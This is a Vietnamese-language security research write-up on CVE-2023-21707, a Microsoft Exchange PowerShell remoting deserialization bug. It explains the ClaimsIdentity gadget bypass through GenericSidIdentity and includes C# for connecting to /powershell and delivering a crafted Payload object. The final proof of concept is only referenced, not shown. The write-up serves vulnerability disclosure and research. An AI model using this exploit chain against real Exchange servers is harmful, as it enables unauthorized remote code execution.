Microsoft Exchange Powershell Remoting Deserialization lead to RCE (CVE-2023–21707)
The old bug
Lỗ hổng này được tìm ra trong quá trình phân tích CVE-2022–41082 A.K.A ProxyNotShell, zdi đã có một bài phân tích rất chi tiết về lỗ hổng này tại đây, bạn đọc nên đọc qua trước để hiểu rõ hơn về bài này.
Nếu bạn quá lười để đọc qua thì đây là sơ đồ mô tả ngắn gọn về cách hoạt động của CVE-2022–41082:
Vị trí xảy ra lỗi:
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
//...
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
}
//...
}
Tại [2], nếu targetTypeForDeserialization
!= null, sẽ tiếp tục đi vào nhánh LanguagePrimitives.ConvertTo()
để thực hiện convert dữ liệu sang kiểu dữ liệu mà targetTypeForDeserialization
chỉ định.
Method LanguagePrimitives.ConvertTo()
đã từng được nhắc đến trong section PSObject gadget của Friday the 13th JSON Attacks. Trong đó đã có nói đến về khá nhiều cách mà method này sử dụng để khôi phục lại object/convert object:
- Call constructor with 1 argument
- Call setter
- Call static method “Parse(string)” [method 3]
- Call custom Conversion [method 4]
- …
Với CVE-2022–41082, luồng khai thác sử dụng tới 2 lần LanguagePrimitives.ConvertTo()
- Lần thứ nhất sử dụng [method 4] để reconstruct type
XamlReader
. Quá trình này có dùng tới Custom Conversion, ở đây làMicrosoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()
. Method này sử dụng BinaryFormatter với một whitelist để deserialize data, trong whitelist có chứaSystem.UnitySerializationHolder
. Hiểu đơn giản thìSystem.UnitySerializationHolder
cho phép chúng ta có thể serialize/deserialize mộtType
với BinaryFormatter. - Lần thứ hai sử dụng tới [method 3], gọi tới method
XamlReader.Parse(string)
để trigger RCE (vớiXamlReader
vừa được khôi phục)
Bản vá của CVE-2022–41082 chỉ đơn giản là thêm một SurrogateSelector UnitySerializationHolderSurrogateSelector
để check lại Type khi deserialize type System.UnitySerializationHolder
:
Do đó mà chúng ta không thể xác định một Type bất kỳ để call tới method Parse(string)
nữa.
The new one
Quay trở lại với [method 3] của LanguagePrimitives.ConvertTo()
, Exchange có implement một custom Conversion: SerializationTypeConverter
, method ConvertFrom
của class này sẽ gọi trực tiếp tới DeserializeObject
[3]:
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
{
throw ex;
}
//...
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream); //[5]
//...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
PSObject psobject = sourceValue as PSObject;
//...
object value = psobject.Properties["SerializationData"].Value; //[6]
if (!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return false;
}
//...
stringValue = psobject.ToString();
serializationData = value as byte[];
}
internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}
Tiếp tục phân tích method DeserializeObject
, CanConvert
sẽ lấy prop SerializationData
từ PSObject ở dạng byte array [6]*, sau đó được pass trực tiếp vào SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize()
[7]*.
Ở payload của ProxyNotShell, SerializationData
được biểu diễn như sau:
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
Điều duy nhất ngăn chặn Deserialization to RCE ở đây là whitelist SerializationTypeConverter.allowedTypes
với khoảng ~1200 allowed types:
List này bao gồm cảSystem.UnitySerializationHolder
- type đã bị abuse ở ProxyNotShell.
Trong quá trình phân tích kỹ hơn đoạn này, mình đã tìm ra một biến thể khác của 41082, được đánh số CVE-2023–21707, cũng là nhân vật chính của bài phân tích này.
Về cơ bản 21707 hoạt động dựa trên chính sự lỏng lẻo, scope quá rộng của SerializationTypeConverter.allowedTypes
.
Trong list này có một class đáng chú ý Microsoft.Exchange.Security.Authentication.GenericSidIdentity
:
Sơ đồ thừa kế của GenericSidIdentity
có thể mô hình hóa lại như sau:
GenericSidIdentity
ClientSecurityContextIdentity
System.Security.Principal.GenericIdentity
System.Security.Claims.ClaimsIdentity <---
Nếu đã từng làm qua .NET Deser một vài lần, có thể bạn cũng nhận ra ClaimsIdentity
chính là một trong các gadgetchain trong ysoserial.net
Do Microsoft.Exchange.Security.Authentication.GenericSidIdentity
là con/cháu của ClaimsIdentity
, nên trong quá trình deserialization, ClaimsIdentity
sẽ được reconstruct trước tiên, ClaimsIdentity.OnDeserializedMethod()
cũng sẽ được gọi -> RCE:
Payload delivery
Mặc dù về mặt logic thì bug vẫn còn ở đó, nhưng bug SSRF ở autodiscover, owassrf đều đã bị patch, cần phải có một cách khác để gửi payload!
Sau khi search google một vòng thì mình có phát hiện ra entrypoint /powershell vẫn có thể access từ remote, nhưng phải thông qua protocol http:
Trên C#, mình có thể sử dụng WSManConnectionInfo
và RunspaceFactory.CreateRunspace()
để connect tới entrypoint này:
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();
Để gửi payload, mình create 1 Powershell Session với runspace của Exchange vừa tạo phía trên, và payload sẽ được gói vào phần argument khi run command, ví dụ như sau:
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = this.runspace;
powerShell.AddCommand("get-mailbox");
powerShell.AddArgument(payload);
powerShell.Invoke();
}
Điểm mấu chốt ở đây là PowerShell.AddArgument(object)
chấp nhận một object bất kỳ là argument. Bước này cũng hoàn toàn giống với đoạn gửi payload ở ProxyNotShell, tuy nhiên được thực hiện một cách programmatically, thay vì craft payload bằng tay!
Class Payload
có nội dung như sau:
using System;
public class Payload: Exception
{
private byte[] _serializationData;
public byte[] SerializationData
{
get => _serializationData;
set => _serializationData = value;
}
public Payload(byte[] serializationData)
{
SerializationData = serializationData;
}
}
Class này bắt buộc phải kế thừa System.Exception
(lý do cụ thể có thể xem ở bài phân tích của 41082), và phải có public property SerializationData
. Property này sẽ hold gadget GenericSidIdentity
, nghĩa là gadget dùng để bypass.
Tiếp theo là cần phải tạo một object GenericSidIdentity
, và sau đó set field m_serializedClaims
= gadgetchain deserialize sinh ra từ ysoserial.net.
Có nhiều cách để làm việc này, mình chọn cách đó là tự khai báo một class mới, thừa kế GenericIdentity
Và sử dụng một Custom Binder để rewrite Class Name trong quá trình serialize payload:
Cuối cùng là gửi payload thôi ¯_(ツ)_/¯:
Call stack khi exploit:
PoC: